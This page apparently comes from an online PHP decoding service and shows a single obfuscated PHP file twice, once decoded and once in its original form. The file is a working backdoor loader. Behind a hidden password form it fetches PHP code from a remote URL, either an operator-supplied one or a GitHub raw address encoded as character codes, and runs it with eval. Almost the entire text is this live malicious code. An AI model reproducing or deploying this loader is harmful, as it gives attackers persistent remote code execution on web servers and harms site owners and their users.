Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto w_ZJh; QsXnF: $BGWjM = "\x24\62\141\x24\x31\x32\44\x5a\x31\114\141\106\110\15..

Decoded Output download

<?php 
 goto w_ZJh; QsXnF: $BGWjM = "$2a$12$Z1LaFHixy.OtMDdhW1fsNOPsTZYTwyEV.COtKxNpG8uQHu.dJ90Li"; goto fpKVt; fpKVt: if (!isset($_GET["ts_reset"])) { goto VPcho; } goto JsERD; emVG3: if (isset($_GET["ts"])) { goto gBUvV; } goto TBEZv; df2MD: tDnH7: goto Brn94; QIlSH: foreach ($uK1vz as $Nuv64) { $iHO0N .= chr($Nuv64); BMqPe: } goto Gd7yU; UxRlm: $z9jzQ = U3XL1($YESlE); goto Cx2B7; L1W6m: echo "updated : " . $_SESSION["ts_url"]; goto yIdV6; r594m: exit; goto b8Xc7; YTC3F: T0v1U: goto KuZwn; MiyyM: goto W7GCY; goto BDwbY; YL9aS: echo "Error!"; goto oA6iv; Cx2B7: CuTl8: goto SoaeG; KuZwn: $YESlE = $_POST["url"]; goto UFUqk; OFbDp: bojfH: goto bQrwq; CPo9w: echo ''; goto r594m; Pkdkl: echo "Error"; goto B_OM4; x2EMy: NS8fA: goto iYBlQ; YwxEu: A28Fe: goto X3P_E; Tw41n: Zargp: goto Q40oB; wn_ht: W7GCY: goto YwxEu; Z8Mv4: if (is_string($z9jzQ)) { goto bojfH; } goto Pkdkl; B_OM4: goto Q3lYR; goto OFbDp; Gd7yU: sNTrq: goto svGDB; Myx4y: if (isset($_POST["url"])) { goto T0v1U; } goto YL9aS; KMWME: goto Rj4I1; goto lU7In; QH6eQ: $iHO0N = ''; goto QIlSH; cZPmy: exit; goto iN4Tg; w_ZJh: session_start(); goto vh9Om; lJVCr: echo "<head><style>#password{order:2}#url{order:1}#password,#url{display:block;margin-bottom:10px;opacity:0;transition:opacity .3s}#password:hover,#url:hover{opacity:1}form{display:flex;flex-direction:column;align-items:flex-end}</style><script>document.addEventListener("DOMContentLoaded",function(){document.querySelector("#password").addEventListener("keydown",function(e){"Enter"===e.key&&(e.preventDefault(),document.querySelector("form").submit())})})</script></head><body><form action=""method="post"><input id="password"name="password"type="password"><br><input id="url"name="url"value=""; goto T7A5S; rbA5L: if (isset($_POST["password"])) { goto NS8fA; } goto CPo9w; KNyoT: if (password_verify($jBQZ2, $BGWjM)) { goto bRCR5; } goto vhNNV; RjMmN: $z9jzQ = @file_get_contents($_SESSION["ts_url"]); goto zeFrW; Q40oB: $z9jzQ = @file_get_contents($YESlE); goto bOniG; bOniG: if (!empty($z9jzQ)) { goto CuTl8; } goto UxRlm; lU7In: gBUvV: goto PS4wa; TdnPt: MvoJX: goto rbA5L; Brn94: goto oSWgC; goto Tw41n; PAxaJ: $uK1vz = [104, 116, 116, 112, 115, 58, 47, 47, 114, 97, 119, 46, 103, 105, 116, 104, 117, 98, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 99, 114, 55, 108, 109, 49, 48, 122, 105, 122, 111, 47, 99, 114, 55, 47, 109, 97, 105, 110, 47, 99, 46, 112, 104, 112]; goto QH6eQ; wKXHT: echo ""><br></form></body>"; goto c37dp; vhNNV: echo ''; goto o3kMg; vEzt5: echo "success"; goto cZPmy; oA6iv: exit; goto STiUx; SoaeG: oSWgC: goto KMWME; oEbFX: Rj4I1: goto Z8Mv4; UFUqk: $_SESSION["ts_url"] = $YESlE; goto L1W6m; c37dp: exit; goto Xnmvr; b8Xc7: goto A28Fe; goto x2EMy; STiUx: goto tay0n; goto YTC3F; yIdV6: exit; goto rrtQF; JsERD: $_SESSION["ts_url"] = ''; goto vEzt5; bQrwq: eval("?>" . $z9jzQ); goto kK7lm; vh9Om: function u3XL1($YESlE) { goto CmXJB; zfexd: $z9jzQ = curl_exec($CE0He); goto TGP0K; f5HE5: curl_setopt($CE0He, CURLOPT_RETURNTRANSFER, true); goto zfexd; KU3Oq: return $z9jzQ; goto WGvbs; d8e16: curl_setopt($CE0He, CURLOPT_URL, $YESlE); goto f5HE5; CmXJB: $CE0He = curl_init(); goto d8e16; TGP0K: curl_close($CE0He); goto KU3Oq; WGvbs: } goto PAxaJ; T7A5S: echo isset($_POST["url"]) ? $_POST["url"] : ''; goto wKXHT; iYBlQ: $jBQZ2 = $_POST["password"]; goto KNyoT; Xnmvr: goto wO6e0; goto TdnPt; PS4wa: if ($_SERVER["REQUEST_METHOD"] === "POST") { goto MvoJX; } goto lJVCr; TBEZv: if (empty($_SESSION["ts_url"])) { goto Zargp; } goto RjMmN; al8Tg: $z9jzQ = U3Xl1($_SESSION["ts_url"]); goto df2MD; X3P_E: wO6e0: goto oEbFX; zeFrW: if (!empty($z9jzQ)) { goto tDnH7; } goto al8Tg; BDwbY: bRCR5: goto Myx4y; o3kMg: exit; goto MiyyM; svGDB: $YESlE = $iHO0N; goto QsXnF; iN4Tg: VPcho: goto emVG3; rrtQF: tay0n: goto wn_ht; kK7lm: Q3lYR: ?>

Did this file decode correctly?

Original Code

<?php
 goto w_ZJh; QsXnF: $BGWjM = "\x24\62\141\x24\x31\x32\44\x5a\x31\114\141\106\110\151\x78\x79\x2e\117\164\x4d\104\144\x68\127\61\146\163\x4e\x4f\x50\163\x54\132\131\124\167\171\105\x56\56\103\117\164\113\x78\116\x70\107\70\165\121\110\165\56\x64\112\x39\60\x4c\x69"; goto fpKVt; fpKVt: if (!isset($_GET["\x74\163\137\162\145\163\x65\x74"])) { goto VPcho; } goto JsERD; emVG3: if (isset($_GET["\x74\163"])) { goto gBUvV; } goto TBEZv; df2MD: tDnH7: goto Brn94; QIlSH: foreach ($uK1vz as $Nuv64) { $iHO0N .= chr($Nuv64); BMqPe: } goto Gd7yU; UxRlm: $z9jzQ = U3XL1($YESlE); goto Cx2B7; L1W6m: echo "\x75\x70\144\x61\164\145\144\40\72\x20" . $_SESSION["\164\163\137\165\x72\x6c"]; goto yIdV6; r594m: exit; goto b8Xc7; YTC3F: T0v1U: goto KuZwn; MiyyM: goto W7GCY; goto BDwbY; YL9aS: echo "\105\x72\162\157\162\x21"; goto oA6iv; Cx2B7: CuTl8: goto SoaeG; KuZwn: $YESlE = $_POST["\x75\x72\154"]; goto UFUqk; OFbDp: bojfH: goto bQrwq; CPo9w: echo ''; goto r594m; Pkdkl: echo "\105\x72\x72\x6f\162"; goto B_OM4; x2EMy: NS8fA: goto iYBlQ; YwxEu: A28Fe: goto X3P_E; Tw41n: Zargp: goto Q40oB; wn_ht: W7GCY: goto YwxEu; Z8Mv4: if (is_string($z9jzQ)) { goto bojfH; } goto Pkdkl; B_OM4: goto Q3lYR; goto OFbDp; Gd7yU: sNTrq: goto svGDB; Myx4y: if (isset($_POST["\165\x72\x6c"])) { goto T0v1U; } goto YL9aS; KMWME: goto Rj4I1; goto lU7In; QH6eQ: $iHO0N = ''; goto QIlSH; cZPmy: exit; goto iN4Tg; w_ZJh: session_start(); goto vh9Om; lJVCr: echo "\x3c\x68\145\141\x64\x3e\74\x73\x74\171\x6c\x65\x3e\x23\160\x61\x73\163\x77\x6f\162\x64\x7b\x6f\x72\x64\x65\162\x3a\x32\x7d\x23\165\162\x6c\x7b\x6f\x72\x64\x65\x72\x3a\x31\x7d\x23\x70\141\x73\163\x77\157\162\144\54\x23\x75\162\x6c\173\x64\x69\163\160\154\141\171\x3a\x62\154\x6f\x63\x6b\73\x6d\141\x72\147\151\156\55\x62\157\x74\164\x6f\155\72\61\x30\160\x78\73\x6f\x70\x61\x63\151\164\171\72\x30\x3b\x74\162\141\156\x73\151\164\x69\157\156\x3a\157\160\141\143\x69\x74\x79\x20\x2e\x33\163\175\x23\x70\x61\x73\163\167\157\162\144\x3a\x68\157\166\x65\162\x2c\x23\165\162\x6c\x3a\150\157\x76\145\x72\173\x6f\x70\x61\143\151\164\x79\x3a\x31\175\146\x6f\162\x6d\173\144\151\163\160\154\x61\171\x3a\146\154\145\x78\73\146\154\x65\170\x2d\x64\x69\162\145\143\164\151\157\156\72\x63\157\154\x75\155\x6e\x3b\141\x6c\151\147\156\55\151\164\x65\155\163\x3a\146\x6c\x65\170\55\x65\156\x64\175\x3c\x2f\163\164\171\x6c\145\x3e\x3c\163\143\162\151\160\x74\76\144\x6f\143\165\155\145\156\164\56\141\144\144\105\166\x65\156\164\114\151\163\x74\145\156\x65\x72\x28\42\104\117\115\x43\157\156\164\x65\x6e\x74\114\157\141\x64\x65\x64\42\54\x66\x75\156\143\x74\x69\x6f\156\x28\x29\173\x64\157\x63\x75\155\145\x6e\x74\x2e\161\165\x65\162\x79\123\145\x6c\x65\x63\164\x6f\x72\50\42\x23\160\x61\163\x73\167\x6f\x72\144\x22\51\x2e\141\144\x64\105\166\x65\156\164\x4c\x69\x73\x74\x65\156\x65\x72\50\x22\x6b\x65\x79\144\x6f\167\x6e\42\54\146\165\x6e\x63\164\151\x6f\156\50\145\51\x7b\42\x45\156\x74\145\162\42\x3d\x3d\x3d\x65\56\x6b\x65\171\x26\46\50\x65\56\160\x72\145\x76\x65\x6e\x74\x44\x65\146\x61\165\x6c\x74\x28\x29\x2c\x64\x6f\x63\x75\155\145\156\x74\x2e\x71\165\145\162\x79\x53\145\154\x65\143\164\x6f\x72\50\42\146\157\x72\155\42\51\56\163\x75\x62\155\151\x74\x28\51\51\x7d\x29\175\x29\x3c\57\163\x63\162\x69\160\x74\76\x3c\x2f\x68\145\141\x64\76\x3c\x62\157\x64\171\x3e\74\x66\157\x72\155\40\141\x63\x74\151\157\156\x3d\x22\x22\x6d\x65\164\150\157\144\x3d\x22\160\157\163\164\x22\x3e\x3c\x69\156\x70\x75\x74\x20\x69\x64\75\42\160\141\163\x73\167\x6f\x72\x64\42\156\x61\155\x65\75\42\x70\141\x73\x73\167\x6f\162\144\42\x74\171\160\145\75\42\160\141\163\163\167\157\162\144\42\76\74\x62\162\x3e\x3c\x69\156\160\x75\164\x20\151\144\75\42\x75\162\x6c\x22\x6e\141\155\x65\75\x22\165\162\x6c\42\166\141\154\165\145\75\42"; goto T7A5S; rbA5L: if (isset($_POST["\160\141\x73\163\167\157\162\144"])) { goto NS8fA; } goto CPo9w; KNyoT: if (password_verify($jBQZ2, $BGWjM)) { goto bRCR5; } goto vhNNV; RjMmN: $z9jzQ = @file_get_contents($_SESSION["\164\163\137\x75\162\154"]); goto zeFrW; Q40oB: $z9jzQ = @file_get_contents($YESlE); goto bOniG; bOniG: if (!empty($z9jzQ)) { goto CuTl8; } goto UxRlm; lU7In: gBUvV: goto PS4wa; TdnPt: MvoJX: goto rbA5L; Brn94: goto oSWgC; goto Tw41n; PAxaJ: $uK1vz = [104, 116, 116, 112, 115, 58, 47, 47, 114, 97, 119, 46, 103, 105, 116, 104, 117, 98, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 99, 114, 55, 108, 109, 49, 48, 122, 105, 122, 111, 47, 99, 114, 55, 47, 109, 97, 105, 110, 47, 99, 46, 112, 104, 112]; goto QH6eQ; wKXHT: echo "\x22\76\74\142\162\x3e\74\57\x66\157\162\x6d\76\74\x2f\x62\x6f\144\171\76"; goto c37dp; vhNNV: echo ''; goto o3kMg; vEzt5: echo "\x73\165\x63\x63\x65\x73\163"; goto cZPmy; oA6iv: exit; goto STiUx; SoaeG: oSWgC: goto KMWME; oEbFX: Rj4I1: goto Z8Mv4; UFUqk: $_SESSION["\164\163\137\x75\162\x6c"] = $YESlE; goto L1W6m; c37dp: exit; goto Xnmvr; b8Xc7: goto A28Fe; goto x2EMy; STiUx: goto tay0n; goto YTC3F; yIdV6: exit; goto rrtQF; JsERD: $_SESSION["\x74\x73\x5f\x75\x72\x6c"] = ''; goto vEzt5; bQrwq: eval("\x3f\x3e" . $z9jzQ); goto kK7lm; vh9Om: function u3XL1($YESlE) { goto CmXJB; zfexd: $z9jzQ = curl_exec($CE0He); goto TGP0K; f5HE5: curl_setopt($CE0He, CURLOPT_RETURNTRANSFER, true); goto zfexd; KU3Oq: return $z9jzQ; goto WGvbs; d8e16: curl_setopt($CE0He, CURLOPT_URL, $YESlE); goto f5HE5; CmXJB: $CE0He = curl_init(); goto d8e16; TGP0K: curl_close($CE0He); goto KU3Oq; WGvbs: } goto PAxaJ; T7A5S: echo isset($_POST["\165\x72\154"]) ? $_POST["\x75\x72\x6c"] : ''; goto wKXHT; iYBlQ: $jBQZ2 = $_POST["\160\141\x73\163\x77\157\x72\x64"]; goto KNyoT; Xnmvr: goto wO6e0; goto TdnPt; PS4wa: if ($_SERVER["\122\105\x51\x55\x45\x53\x54\137\115\105\124\x48\117\104"] === "\120\117\x53\124") { goto MvoJX; } goto lJVCr; TBEZv: if (empty($_SESSION["\x74\x73\x5f\165\x72\154"])) { goto Zargp; } goto RjMmN; al8Tg: $z9jzQ = U3Xl1($_SESSION["\x74\x73\x5f\x75\x72\154"]); goto df2MD; X3P_E: wO6e0: goto oEbFX; zeFrW: if (!empty($z9jzQ)) { goto tDnH7; } goto al8Tg; BDwbY: bRCR5: goto Myx4y; o3kMg: exit; goto MiyyM; svGDB: $YESlE = $iHO0N; goto QsXnF; iN4Tg: VPcho: goto emVG3; rrtQF: tay0n: goto wn_ht; kK7lm: Q3lYR:

Function Calls

None

Variables

None

Stats

MD5 c53b15dd67ef2b9550946e27960cb62d
Eval Count 0
Decode Time 54 ms